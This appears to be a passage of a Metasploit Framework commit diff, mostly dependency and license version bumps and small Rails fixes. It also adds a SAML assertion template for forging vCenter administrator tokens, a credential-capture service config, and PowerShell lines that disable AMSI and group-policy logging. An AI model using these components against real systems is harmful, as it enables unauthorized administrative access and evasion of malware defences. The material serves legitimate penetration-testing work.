+    regexp_parser (2.5.0)
     reline (0.2.5)
       io-console (~> 0.5)
     rex-arch (0.1.14)
       rex-text
-    rex-bin_tools (0.1.7)
+    rex-bin_tools (0.1.8)
       metasm
       rex-arch
       rex-core
       rex-struct2
       rex-text
-    rex-core (0.1.16)
-    rex-encoder (0.1.5)
+    rex-core (0.1.28)
+    rex-encoder (0.1.6)
       metasm
       rex-arch
       rex-text
-    rex-exploitation (0.1.27)
+    rex-exploitation (0.1.30)
       jsobfu
       metasm
       rex-arch
@@ -341,48 +359,48 @@ GEM
       rex-text
       rexml
     rex-java (0.1.6)
-    rex-mime (0.1.6)
+    rex-mime (0.1.7)
       rex-text
     rex-nop (0.1.2)
       rex-arch
     rex-ole (0.1.7)
       rex-text
-    rex-powershell (0.1.90)
+    rex-powershell (0.1.96)
       rex-random_identifier
       rex-text
       ruby-rc4
-    rex-random_identifier (0.1.5)
+    rex-random_identifier (0.1.8)
       rex-text
     rex-registry (0.1.4)
     rex-rop_builder (0.1.4)
       metasm
       rex-core
       rex-text
-    rex-socket (0.1.29)
+    rex-socket (0.1.39)
       rex-core
-    rex-sslscan (0.1.6)
+    rex-sslscan (0.1.7)
       rex-core
       rex-socket
       rex-text
     rex-struct2 (0.1.3)
-    rex-text (0.2.34)
+    rex-text (0.2.37)
     rex-zip (0.1.4)
       rex-text
     rexml (3.2.5)
     rkelly-remix (0.0.7)
-    rspec (3.10.0)
-      rspec-core (~> 3.10.0)
-      rspec-expectations (~> 3.10.0)
-      rspec-mocks (~> 3.10.0)
-    rspec-core (3.10.1)
-      rspec-support (~> 3.10.0)
-    rspec-expectations (3.10.1)
+    rspec (3.11.0)
+      rspec-core (~> 3.11.0)
+      rspec-expectations (~> 3.11.0)
+      rspec-mocks (~> 3.11.0)
+    rspec-core (3.11.0)
+      rspec-support (~> 3.11.0)
+    rspec-expectations (3.11.0)
       diff-lcs (>= 1.2.0, < 2.0)
-      rspec-support (~> 3.10.0)
-    rspec-mocks (3.10.2)
+      rspec-support (~> 3.11.0)
+    rspec-mocks (3.11.1)
       diff-lcs (>= 1.2.0, < 2.0)
-      rspec-support (~> 3.10.0)
-    rspec-rails (5.0.1)
+      rspec-support (~> 3.11.0)
+    rspec-rails (5.1.2)
       actionpack (>= 5.2)
       activesupport (>= 5.2)
       railties (>= 5.2)
@@ -392,44 +410,44 @@ GEM
       rspec-support (~> 3.10)
     rspec-rerun (1.1.0)
       rspec (~> 3.0)
-    rspec-support (3.10.2)
-    rubocop (1.16.0)
+    rspec-support (3.11.0)
+    rubocop (1.30.0)
       parallel (~> 1.10)
-      parser (>= 3.0.0.0)
+      parser (>= 3.1.0.0)
       rainbow (>= 2.2.2, < 4.0)
       regexp_parser (>= 1.8, < 3.0)
-      rexml
-      rubocop-ast (>= 1.7.0, < 2.0)
+      rexml (>= 3.2.5, < 4.0)
+      rubocop-ast (>= 1.18.0, < 2.0)
       ruby-progressbar (~> 1.7)
       unicode-display_width (>= 1.4.0, < 3.0)
-    rubocop-ast (1.7.0)
-      parser (>= 3.0.1.1)
-    ruby-macho (2.5.1)
+    rubocop-ast (1.18.0)
+      parser (>= 3.1.1.0)
+    ruby-macho (3.0.0)
     ruby-prof (1.4.2)
     ruby-progressbar (1.11.0)
     ruby-rc4 (0.1.5)
-    ruby2_keywords (0.0.4)
-    ruby_smb (2.0.10)
+    ruby2_keywords (0.0.5)
+    ruby_smb (3.1.3)
       bindata
       openssl-ccm
       openssl-cmac
       rubyntlm
-      windows_error
+      windows_error (>= 0.1.4)
     rubyntlm (0.6.3)
-    rubyzip (2.3.0)
-    sawyer (0.8.2)
+    rubyzip (2.3.2)
+    sawyer (0.9.1)
       addressable (>= 2.3.5)
-      faraday (> 0.8, < 2.0)
+      faraday (>= 0.17.3, < 3)
     simplecov (0.18.2)
       docile (~> 1.1)
       simplecov-html (~> 0.11)
     simplecov-html (0.12.3)
     simpleidn (0.2.1)
       unf (~> 0.1.4)
-    sinatra (2.1.0)
+    sinatra (2.2.0)
       mustermann (~> 1.0)
       rack (~> 2.2)
-      rack-protection (= 2.1.0)
+      rack-protection (= 2.2.0)
       tilt (~> 2.0)
     sqlite3 (1.4.2)
     sshkey (2.0.0)
@@ -438,33 +456,45 @@ GEM
       daemons (~> 1.0, >= 1.0.9)
       eventmachine (~> 1.0, >= 1.0.4)
       rack (>= 1, < 3)
-    thor (1.1.0)
-    thread_safe (0.3.6)
+    thor (1.2.1)
     tilt (2.0.10)
-    timecop (0.9.4)
+    timecop (0.9.5)
+    timeout (0.3.0)
     ttfunk (1.7.0)
-    tzinfo (1.2.9)
-      thread_safe (~> 0.1)
-    tzinfo-data (1.2021.1)
+    tzinfo (2.0.4)
+      concurrent-ruby (~> 1.0)
+    tzinfo-data (1.2022.1)
       tzinfo (>= 1.0.0)
     unf (0.1.4)
       unf_ext
-    unf_ext (0.0.7.7)
-    unicode-display_width (2.0.0)
+    unf_ext (0.0.8.2)
+    unicode-display_width (2.1.0)
+    unix-crypt (1.3.0)
     warden (1.2.9)
       rack (>= 2.0.9)
     webrick (1.7.0)
-    websocket-driver (0.7.4)
+    websocket-driver (0.7.5)
       websocket-extensions (>= 0.1.0)
     websocket-extensions (0.1.5)
-    windows_error (0.1.2)
-    xdr (3.0.2)
-      activemodel (>= 4.2, < 7.0)
-      activesupport (>= 4.2, < 7.0)
+    win32api (0.1.0)
+    windows_error (0.1.4)
+    winrm (2.3.6)
+      builder (>= 2.1.2)
+      erubi (~> 1.8)
+      gssapi (~> 1.2)
+      gyoku (~> 1.0)
+      httpclient (~> 2.2, >= 2.2.0.2)
+      logging (>= 1.6.1, < 3.0)
+      nori (~> 2.0)
+      rubyntlm (~> 0.6.0, >= 0.6.3)
+    xdr (3.0.3)
+      activemodel (>= 4.2, < 8.0)
+      activesupport (>= 4.2, < 8.0)
     xmlrpc (0.3.2)
       webrick
-    yard (0.9.26)
-    zeitwerk (2.4.2)
+    yard (0.9.28)
+      webrick (~> 1.7.0)
+    zeitwerk (2.5.4)
 
 PLATFORMS
   ruby

LICENSE

@@ -131,6 +131,10 @@ Files: external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/
 Copyright: 2020 Johnny Shaw
 License: MIT
 
+Files: exteneral/source/exploits/CVE-2022-26904/*
+Copywrite: 2022 Abdelhamid Naceri
+License: MIT
+
 License: BSD-2-clause
  Redistribution and use in source and binary forms, with or without modification,
  are permitted provided that the following conditions are met:

LICENSE_GEMS

@@ -1,27 +1,26 @@
 This file is auto-generated by tools/dev/update_gem_licenses.sh
 Ascii85, 1.1.0, MIT
-actionpack, 5.2.6, MIT
-actionview, 5.2.6, MIT
-activemodel, 5.2.6, MIT
-activerecord, 5.2.6, MIT
-activesupport, 5.2.6, MIT
-addressable, 2.7.0, "Apache 2.0"
+actionpack, 6.1.6, MIT
+actionview, 6.1.6, MIT
+activemodel, 6.1.6, MIT
+activerecord, 6.1.6, MIT
+activesupport, 6.1.6, MIT
+addressable, 2.8.0, "Apache 2.0"
 afm, 0.2.2, MIT
-arel, 9.0.0, MIT
-arel-helpers, 2.12.0, MIT
+arel-helpers, 2.14.0, MIT
 ast, 2.4.2, MIT
-aws-eventstream, 1.1.1, "Apache 2.0"
-aws-partitions, 1.465.0, "Apache 2.0"
-aws-sdk-core, 3.114.1, "Apache 2.0"
-aws-sdk-ec2, 1.240.0, "Apache 2.0"
-aws-sdk-iam, 1.55.0, "Apache 2.0"
-aws-sdk-kms, 1.43.0, "Apache 2.0"
-aws-sdk-s3, 1.95.1, "Apache 2.0"
-aws-sigv4, 1.2.3, "Apache 2.0"
-bcrypt, 3.1.16, MIT
+aws-eventstream, 1.2.0, "Apache 2.0"
+aws-partitions, 1.588.0, "Apache 2.0"
+aws-sdk-core, 3.131.0, "Apache 2.0"
+aws-sdk-ec2, 1.315.0, "Apache 2.0"
+aws-sdk-iam, 1.68.0, "Apache 2.0"
+aws-sdk-kms, 1.57.0, "Apache 2.0"
+aws-sdk-s3, 1.114.0, "Apache 2.0"
+aws-sigv4, 1.5.0, "Apache 2.0"
+bcrypt, 3.1.18, MIT
 bcrypt_pbkdf, 1.1.0, MIT
 bindata, 2.4.10, ruby
-bson, 4.12.1, "Apache 2.0"
+bson, 4.15.0, "Apache 2.0"
 builder, 3.2.4, MIT
 bundler, 2.1.4, MIT
 byebug, 11.1.3, "Simplified BSD"
@@ -29,153 +28,173 @@ coderay, 1.1.3, MIT
 concurrent-ruby, 1.0.5, MIT
 cookiejar, 0.3.3, unknown
 crass, 1.0.6, MIT
-daemons, 1.4.0, MIT
-diff-lcs, 1.4.4, "MIT, Artistic-2.0, GPL-2.0+"
-dnsruby, 1.61.5, "Apache 2.0"
+daemons, 1.4.1, MIT
+diff-lcs, 1.5.0, "MIT, Artistic-2.0, GPL-2.0+"
+digest, 3.1.0, "ruby, Simplified BSD"
+dnsruby, 1.61.9, "Apache 2.0"
 docile, 1.4.0, MIT
 domain_name, 0.5.20190701, "Simplified BSD, New BSD, Mozilla Public License 2.0"
-ed25519, 1.2.4, MIT
+ed25519, 1.3.0, MIT
 em-http-request, 1.1.7, MIT
 em-socksify, 0.3.2, MIT
 erubi, 1.10.0, MIT
 eventmachine, 1.2.7, "ruby, GPL-2.0"
-factory_bot, 6.2.0, MIT
+factory_bot, 6.2.1, MIT
 factory_bot_rails, 6.2.0, MIT
-faker, 2.18.0, MIT
-faraday, 1.4.2, MIT
+faker, 2.21.0, MIT
+faraday, 1.10.0, MIT
 faraday-em_http, 1.0.0, MIT
 faraday-em_synchrony, 1.0.0, MIT
 faraday-excon, 1.1.0, MIT
+faraday-httpclient, 1.0.1, MIT
+faraday-multipart, 1.0.3, MIT
 faraday-net_http, 1.0.1, MIT
-faraday-net_http_persistent, 1.1.0, MIT
+faraday-net_http_persistent, 1.2.0, MIT
+faraday-patron, 1.0.0, MIT
+faraday-rack, 1.0.0, MIT
+faraday-retry, 1.0.3, MIT
 faye-websocket, 0.11.1, "Apache 2.0"
+ffi, 1.15.5, "New BSD"
 filesize, 0.2.0, MIT
 fivemat, 1.3.7, MIT
+gssapi, 1.3.1, MIT
+gyoku, 1.4.0, MIT
 hashery, 2.1.2, "Simplified BSD"
-hrr_rb_ssh, 0.3.0.pre2, "Apache 2.0"
-http-cookie, 1.0.3, MIT
-http_parser.rb, 0.6.0, MIT
-i18n, 1.8.10, MIT
-io-console, 0.5.9, "ruby, Simplified BSD"
-irb, 1.3.5, "ruby, Simplified BSD"
-jmespath, 1.4.0, "Apache 2.0"
+hrr_rb_ssh, 0.4.2, "Apache 2.0"
+hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
+http-cookie, 1.0.4, MIT
+http_parser.rb, 0.8.0, MIT
+httpclient, 2.8.3, ruby
+i18n, 1.10.0, MIT
+io-console, 0.5.11, "ruby, Simplified BSD"
+irb, 1.3.6, "ruby, Simplified BSD"
+jmespath, 1.6.1, "Apache 2.0"
 jsobfu, 0.4.2, "New BSD"
-json, 2.5.1, ruby
-loofah, 2.9.1, MIT
+json, 2.6.2, ruby
+little-plugger, 1.1.4, MIT
+logging, 2.3.0, MIT
+loofah, 2.18.0, MIT
 memory_profiler, 1.0.0, MIT
-metasm, 1.0.4, LGPL-2.1
-metasploit-concern, 3.0.2, "New BSD"
-metasploit-credential, 4.0.5, "New BSD"
-metasploit-framework, 6.0.48, "New BSD"
-metasploit-model, 3.1.4, "New BSD"
-metasploit-payloads, 2.0.45, "3-clause (or ""modified"") BSD"
-metasploit_data_models, 4.1.4, "New BSD"
-metasploit_payloads-mettle, 1.0.9, "3-clause (or ""modified"") BSD"
+metasm, 1.0.5, LGPL-2.1
+metasploit-concern, 4.0.4, "New BSD"
+metasploit-credential, 5.0.7, "New BSD"
+metasploit-framework, 6.2.2, "New BSD"
+metasploit-model, 4.0.4, "New BSD"
+metasploit-payloads, 2.0.87, "3-clause (or ""modified"") BSD"
+metasploit_data_models, 5.0.5, "New BSD"
+metasploit_payloads-mettle, 1.0.18, "3-clause (or ""modified"") BSD"
 method_source, 1.0.0, MIT
-mini_portile2, 2.5.3, MIT
-minitest, 5.14.4, MIT
+mini_portile2, 2.8.0, MIT
+minitest, 5.15.0, MIT
 mqtt, 0.5.0, MIT
-msgpack, 1.4.2, "Apache 2.0"
+msgpack, 1.5.1, "Apache 2.0"
+multi_json, 1.15.0, MIT
 multipart-post, 2.1.1, MIT
 mustermann, 1.1.1, MIT
 nessus_rest, 0.1.6, MIT
 net-ldap, 0.17.0, MIT
+net-protocol, 0.1.3, "ruby, Simplified BSD"
+net-smtp, 0.3.1, "ruby, Simplified BSD"
 net-ssh, 6.1.0, MIT
 network_interface, 0.0.2, MIT
 nexpose, 7.3.0, "New BSD"
-nio4r, 2.5.7, MIT
-nokogiri, 1.11.7, MIT
-octokit, 4.21.0, MIT
+nio4r, 2.5.8, MIT
+nokogiri, 1.13.6, MIT
+nori, 2.6.0, MIT
+octokit, 4.22.0, MIT
 openssl-ccm, 1.2.2, MIT
 openssl-cmac, 2.0.1, MIT
 openvas-omp, 0.0.4, MIT
 packetfu, 1.1.13, BSD
-parallel, 1.20.1, MIT
-parser, 3.0.1.1, MIT
+parallel, 1.22.1, MIT
+parser, 3.1.2.0, MIT
 patch_finder, 1.0.2, "New BSD"
-pcaprub, 0.13.0, LGPL-2.1
-pdf-reader, 2.4.2, MIT
-pg, 1.2.3, "Simplified BSD"
+pcaprub, 0.13.1, LGPL-2.1
+pdf-reader, 2.10.0, MIT
+pg, 1.3.5, "Simplified BSD"
 pry, 0.13.1, MIT
 pry-byebug, 3.9.0, MIT
-public_suffix, 4.0.6, MIT
-puma, 5.3.2, "New BSD"
-racc, 1.5.2, "ruby, Simplified BSD"
+public_suffix, 4.0.7, MIT
+puma, 5.6.4, "New BSD"
+racc, 1.6.0, "ruby, Simplified BSD"
 rack, 2.2.3, MIT
-rack-protection, 2.1.0, MIT
+rack-protection, 2.2.0, MIT
 rack-test, 1.1.0, MIT
 rails-dom-testing, 2.0.3, MIT
-rails-html-sanitizer, 1.3.0, MIT
-railties, 5.2.6, MIT
-rainbow, 3.0.0, MIT
-rake, 13.0.3, MIT
+rails-html-sanitizer, 1.4.2, MIT
+railties, 6.1.6, MIT
+rainbow, 3.1.1, MIT
+rake, 13.0.6, MIT
 rb-readline, 0.5.5, BSD
-recog, 2.3.20, unknown
+recog, 2.3.23, unknown
 redcarpet, 3.5.1, MIT
-regexp_parser, 2.1.1, MIT
+regexp_parser, 2.4.0, MIT
 reline, 0.2.5, ruby
 rex-arch, 0.1.14, "New BSD"
-rex-bin_tools, 0.1.7, "New BSD"
-rex-core, 0.1.16, "New BSD"
-rex-encoder, 0.1.5, "New BSD"
-rex-exploitation, 0.1.27, "New BSD"
+rex-bin_tools, 0.1.8, "New BSD"
+rex-core, 0.1.28, "New BSD"
+rex-encoder, 0.1.6, "New BSD"
+rex-exploitation, 0.1.30, "New BSD"
 rex-java, 0.1.6, "New BSD"
-rex-mime, 0.1.6, "New BSD"
+rex-mime, 0.1.7, "New BSD"
 rex-nop, 0.1.2, "New BSD"
 rex-ole, 0.1.7, "New BSD"
-rex-powershell, 0.1.90, "New BSD"
-rex-random_identifier, 0.1.5, "New BSD"
+rex-powershell, 0.1.96, "New BSD"
+rex-random_identifier, 0.1.8, "New BSD"
 rex-registry, 0.1.4, "New BSD"
 rex-rop_builder, 0.1.4, "New BSD"
-rex-socket, 0.1.29, "New BSD"
-rex-sslscan, 0.1.6, "New BSD"
+rex-socket, 0.1.39, "New BSD"
+rex-sslscan, 0.1.7, "New BSD"
 rex-struct2, 0.1.3, "New BSD"
-rex-text, 0.2.34, "New BSD"
+rex-text, 0.2.37, "New BSD"
 rex-zip, 0.1.4, "New BSD"
 rexml, 3.2.5, "Simplified BSD"
 rkelly-remix, 0.0.7, MIT
-rspec, 3.10.0, MIT
-rspec-core, 3.10.1, MIT
-rspec-expectations, 3.10.1, MIT
-rspec-mocks, 3.10.2, MIT
-rspec-rails, 5.0.1, MIT
+rspec, 3.11.0, MIT
+rspec-core, 3.11.0, MIT
+rspec-expectations, 3.11.0, MIT
+rspec-mocks, 3.11.1, MIT
+rspec-rails, 5.1.2, MIT
 rspec-rerun, 1.1.0, MIT
-rspec-support, 3.10.2, MIT
-rubocop, 1.16.0, MIT
-rubocop-ast, 1.7.0, MIT
-ruby-macho, 2.5.1, MIT
+rspec-support, 3.11.0, MIT
+rubocop, 1.29.1, MIT
+rubocop-ast, 1.18.0, MIT
+ruby-macho, 3.0.0, MIT
 ruby-prof, 1.4.2, "Simplified BSD"
 ruby-progressbar, 1.11.0, MIT
 ruby-rc4, 0.1.5, MIT
-ruby2_keywords, 0.0.4, "ruby, Simplified BSD"
-ruby_smb, 2.0.10, "New BSD"
+ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
+ruby_smb, 3.1.3, "New BSD"
 rubyntlm, 0.6.3, MIT
-rubyzip, 2.3.0, "Simplified BSD"
+rubyzip, 2.3.2, "Simplified BSD"
 sawyer, 0.8.2, MIT
 simplecov, 0.18.2, MIT
 simplecov-html, 0.12.3, MIT
 simpleidn, 0.2.1, MIT
-sinatra, 2.1.0, MIT
+sinatra, 2.2.0, MIT
 sqlite3, 1.4.2, "New BSD"
 sshkey, 2.0.0, MIT
 swagger-blocks, 3.0.0, MIT
 thin, 1.8.1, "GPL-2.0+, ruby"
-thor, 1.1.0, MIT
-thread_safe, 0.3.6, "Apache 2.0"
+thor, 1.2.1, MIT
 tilt, 2.0.10, MIT
-timecop, 0.9.4, MIT
+timecop, 0.9.5, MIT
+timeout, 0.2.0, "ruby, Simplified BSD"
 ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
-tzinfo, 1.2.9, MIT
-tzinfo-data, 1.2021.1, MIT
+tzinfo, 2.0.4, MIT
+tzinfo-data, 1.2022.1, MIT
 unf, 0.1.4, "2-clause BSDL"
-unf_ext, 0.0.7.7, MIT
-unicode-display_width, 2.0.0, MIT
+unf_ext, 0.0.8.1, MIT
+unicode-display_width, 2.1.0, MIT
+unix-crypt, 1.3.0, BSD
 warden, 1.2.9, MIT
 webrick, 1.7.0, "ruby, Simplified BSD"
-websocket-driver, 0.7.4, "Apache 2.0"
+websocket-driver, 0.7.5, "Apache 2.0"
 websocket-extensions, 0.1.5, "Apache 2.0"
-windows_error, 0.1.2, BSD
-xdr, 3.0.2, "Apache 2.0"
+win32api, 0.1.0, unknown
+windows_error, 0.1.4, BSD
+winrm, 2.3.6, "Apache 2.0"
+xdr, 3.0.3, "Apache 2.0"
 xmlrpc, 0.3.2, "ruby, Simplified BSD"
-yard, 0.9.26, MIT
-zeitwerk, 2.4.2, MIT
+yard, 0.9.27, MIT
+zeitwerk, 2.5.4, MIT

app/models/application_record.rb

@@ -1,3 +1,5 @@
 class ApplicationRecord < ActiveRecord::Base
   self.abstract_class = true
+  include ArelHelpers::ArelTable
+  include ArelHelpers::JoinAssociation
 end

app/validators/metasploit/framework/executable_path_validator.rb

@@ -7,7 +7,7 @@ module Metasploit
 
       def validate_each(record, attribute, value)
         unless ::File.executable? value
-          record.errors[attribute] << (options[:message] || "is not a valid path to an executable file")
+          record.errors.add(attribute, (options[:message] || "is not a valid path to an executable file"))
         end
       end
     end

app/validators/metasploit/framework/file_path_validator.rb

@@ -7,7 +7,7 @@ module Metasploit
 
       def validate_each(record, attribute, value)
         unless value && ::File.file?(value)
-          record.errors[attribute] << (options[:message] || "is not a valid path to a regular file")
+          record.errors.add(attribute, (options[:message] || "is not a valid path to a regular file"))
         end
       end
     end

config/application.rb

@@ -36,6 +36,7 @@ module Metasploit
 
       config.paths['log']             = "#{Msf::Config.log_directory}/#{Rails.env}.log"
       config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
+      config.autoloader = :zeitwerk
 
       case Rails.env
       when "development"
@@ -51,4 +52,4 @@ end
 
 # Silence warnings about this defaulting to true
 I18n.enforce_available_locales = true
-require 'msfenv'
+require 'msfenv'

data/auxiliary/vmware/vcenter_forge_saml_token/assert.xml.erb

@@ -0,0 +1,55 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" Destination="https://<%= vcenter_fqdn.encode(xml: :text) %>/ui/saml/websso/sso" ID="_<%= vcenter_saml_response_id.encode(xml: :text) %>" InResponseTo="<%= vcenter_saml_id.encode(xml: :text) %>" IssueInstant="<%= vcenter_saml_issue.encode(xml: :text) %>" Version="2.0">
+    <saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">https://<%= vcenter_fqdn.encode(xml: :text) %>/websso/SAML2/Metadata/<%= vcenter_saml_domain.encode(xml: :text) %></saml2:Issuer>
+    <saml2p:Status>
+        <saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
+        <saml2p:StatusMessage>Request successful</saml2p:StatusMessage>
+    </saml2p:Status>
+    <saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ID="_<%= vcenter_saml_assert_id.encode(xml: :text) %>" IssueInstant="<%= vcenter_saml_issue.encode(xml: :text) %>" Version="2.0">
+        <saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">https://<%= vcenter_fqdn.encode(xml: :text) %>/websso/SAML2/Metadata/<%= vcenter_saml_domain.encode(xml: :text) %></saml2:Issuer>
+        <saml2:Subject>
+            <saml2:NameID Format="http://schemas.xmlsoap.org/claims/UPN"><%= vcenter_saml_user.encode(xml: :text) %>@<%= vcenter_saml_domain.encode(xml: :text) %></saml2:NameID>
+            <saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
+                <saml2:SubjectConfirmationData InResponseTo="<%= vcenter_saml_id.encode(xml: :text) %>" NotOnOrAfter="<%= vcenter_saml_not_after.encode(xml: :text) %>" Recipient="https://<%= vcenter_fqdn.encode(xml: :text) %>/ui/saml/websso/sso"/>
+            </saml2:SubjectConfirmation>
+        </saml2:Subject>
+        <saml2:Conditions NotBefore="<%= vcenter_saml_not_before.encode(xml: :text) %>" NotOnOrAfter="<%= vcenter_saml_not_after.encode(xml: :text) %>">
+            <saml2:ProxyRestriction Count="10"/>
+            <saml2:Condition xmlns:rsa="http://www.rsa.com/names/2009/12/std-ext/SAML2.0" Count="10" xsi:type="rsa:RenewRestrictionType"/>
+            <saml2:AudienceRestriction>
+                <saml2:Audience>https://<%= vcenter_fqdn.encode(xml: :text) %>/ui/saml/websso/metadata</saml2:Audience>
+            </saml2:AudienceRestriction>
+        </saml2:Conditions>
+        <saml2:AuthnStatement AuthnInstant="<%= vcenter_saml_issue.encode(xml: :text) %>" SessionIndex="_<%= vcenter_saml_idx_id.encode(xml: :text) %>" SessionNotOnOrAfter="<%= vcenter_saml_not_after.encode(xml: :text) %>">
+            <saml2:AuthnContext>
+                <saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef>
+            </saml2:AuthnContext>
+        </saml2:AuthnStatement>
+        <saml2:AttributeStatement>
+            <saml2:Attribute FriendlyName="userPrincipalName" Name="http://schemas.xmlsoap.org/claims/UPN" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
+                <saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_user.encode(xml: :text) %>@<%= vcenter_saml_domain.encode(xml: :text) %></saml2:AttributeValue>
+            </saml2:Attribute>
+            <saml2:Attribute FriendlyName="Groups" Name="http://rsa.com/schemas/attr-names/2009/01/GroupIdentity" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
+                <saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\Users</saml2:AttributeValue>
+                <saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\Administrators</saml2:AttributeValue>
+                <saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\CAAdmins</saml2:AttributeValue>
+                <saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\ComponentManager.Administrators</saml2:AttributeValue>
+                <saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\SystemConfiguration.BashShellAdministrators</saml2:AttributeValue>
+                <saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\SystemConfiguration.ReadOnly</saml2:AttributeValue>
+                <saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\SystemConfiguration.SupportUsers</saml2:AttributeValue>
+                <saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\SystemConfiguration.Administrators</saml2:AttributeValue>
+                <saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\LicenseService.Administrators</saml2:AttributeValue>
+                <saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\Everyone</saml2:AttributeValue>
+            </saml2:Attribute>
+            <saml2:Attribute FriendlyName="Subject Type" Name="http://vmware.com/schemas/attr-names/2011/07/isSolution" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
+                <saml2:AttributeValue xsi:type="xsd:string">false</saml2:AttributeValue>
+            </saml2:Attribute>
+            <saml2:Attribute FriendlyName="surname" Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/surname" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
+                <saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %></saml2:AttributeValue>
+            </saml2:Attribute>
+            <saml2:Attribute FriendlyName="givenName" Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
+                <saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_user.encode(xml: :text) %></saml2:AttributeValue>
+            </saml2:Attribute>
+        </saml2:AttributeStatement>
+    </saml2:Assertion>
+</saml2p:Response>

data/capture_config.yaml

@@ -0,0 +1,52 @@
+spoof_regex: .*
+ntlm_challenge: "1122334455667788"
+ntlm_domain: anonymous
+http_basic: no
+ssl_cert: null
+logfile: null
+hashdir: null
+services:
+  - type: DRDA
+    enabled: yes
+  - type: FTP
+    enabled: yes
+  - type: HTTP
+    enabled: yes
+  - type: HTTPS
+    enabled: yes
+  - type: IMAP
+    enabled: yes
+  - type: MSSQL
+    enabled: yes
+  - type: MySQL
+    enabled: yes
+  - type: POP3
+    enabled: yes
+  - type: Postgres
+    enabled: yes
+  - type: PrintJob
+    enabled: yes
+  - type: SIP
+    enabled: yes
+  - type: SMB
+    enabled: yes
+  - type: SMTP
+    enabled: yes
+  - type: Telnet
+    enabled: yes
+  - type: VNC
+    enabled: yes
+  - type: FTPS
+    enabled: yes
+  - type: IMAPS
+    enabled: yes
+  - type: POP3S
+    enabled: yes
+  - type: SMTPS
+    enabled: yes
+  - type: NBNS
+    enabled: yes
+  - type: LLMNR
+    enabled: yes
+  - type: mDNS
+    enabled: yes

data/evasion/windows/bypass_powershell_protections.erb.graphml

@@ -0,0 +1,174 @@
+<?xml version="1.0" ?>
+<!--
+  This file was generated by hand since no automated analysis and generation tool currently exists for Powershell code.
+-->
+<graphml xmlns="http://graphml.graphdrawing.org/xmlns" xmlns:xsi="http://graphml.graphdrawing.org/xmlns" xsi:schemaLocation="http://graphml.graphdrawing.org/xmlns http://graphml.graphdrawing.org/xmlns/1.0/graphml.xsd">
+  <key id="address" for="all" attr.name="address" attr.type="long"/>
+  <key id="type" for="all" attr.name="type" attr.type="string"/>
+  <key id="instruction.source" for="node" attr.name="instruction.source" attr.type="string"/>
+  <key id="instruction.hex" for="node" attr.name="instruction.hex" attr.type="string"/>
+  <graph edgedefault="directed">
+    <node id="block.1">
+      <data key="address">1</data>
+      <data key="type">block</data>
+      <graph edgedefault="directed">
+        <data key="address">1</data>
+        <data key="type">block</data>
+        <node id="block.1:instruction.1">
+          <data key="address">1</data>
+          <data key="type">instruction</data>
+          <data key="instruction.source">If($PSVersionTable.PSVersion.Major -ge 3){</data>
+        </node>
+        <node id="block.1:instruction.2">
+          <data key="address">2</data>
+          <data key="type">instruction</data>
+          <data key="instruction.source">    $val=[Collections.Generic.Dictionary[string,System.Object]]::new();</data>
+        </node>
+        <node id="block.1:instruction.3">
+          <data key="address">3</data>
+          <data key="type">instruction</data>
+          <data key="instruction.source">    $Ref1=[Ref].Assembly.GetType(&lt;%= Rex::Powershell::Obfu.scate_string_literal('System.Management.Automation.AmsiUtils', threshold: 0.3) %&gt;);</data>
+        </node>
+        <node id="block.1:instruction.4">
+          <data key="address">4</data>
+          <data key="type">instruction</data>
+          <data key="instruction.source">    if ($Ref1) { $Ref1.GetField(&lt;%= Rex::Powershell::Obfu.scate_string_literal('amsiInitFailed', threshold: 0.3) %&gt;,'NonPublic,Static').SetValue($null,$true); };</data>
+        </node>
+        <node id="block.1:instruction.5">
+          <data key="address">5</data>
+          <data key="type">instruction</data>
+          <data key="instruction.source">    $Ref2=[Ref].Assembly.GetType(&lt;%= Rex::Powershell::Obfu.scate_string_literal('System.Management.Automation.Utils') %&gt;);</data>
+        </node>
+        <node id="block.1:instruction.6">
+          <data key="address">6</data>
+          <data key="type">instruction</data>
+          <data key="instruction.source">    $GPF=$Ref2.GetField('cachedGroupPolicySettings','NonPublic,Static');</data>
+        </node>
+        <node id="block.1:instruction.7">
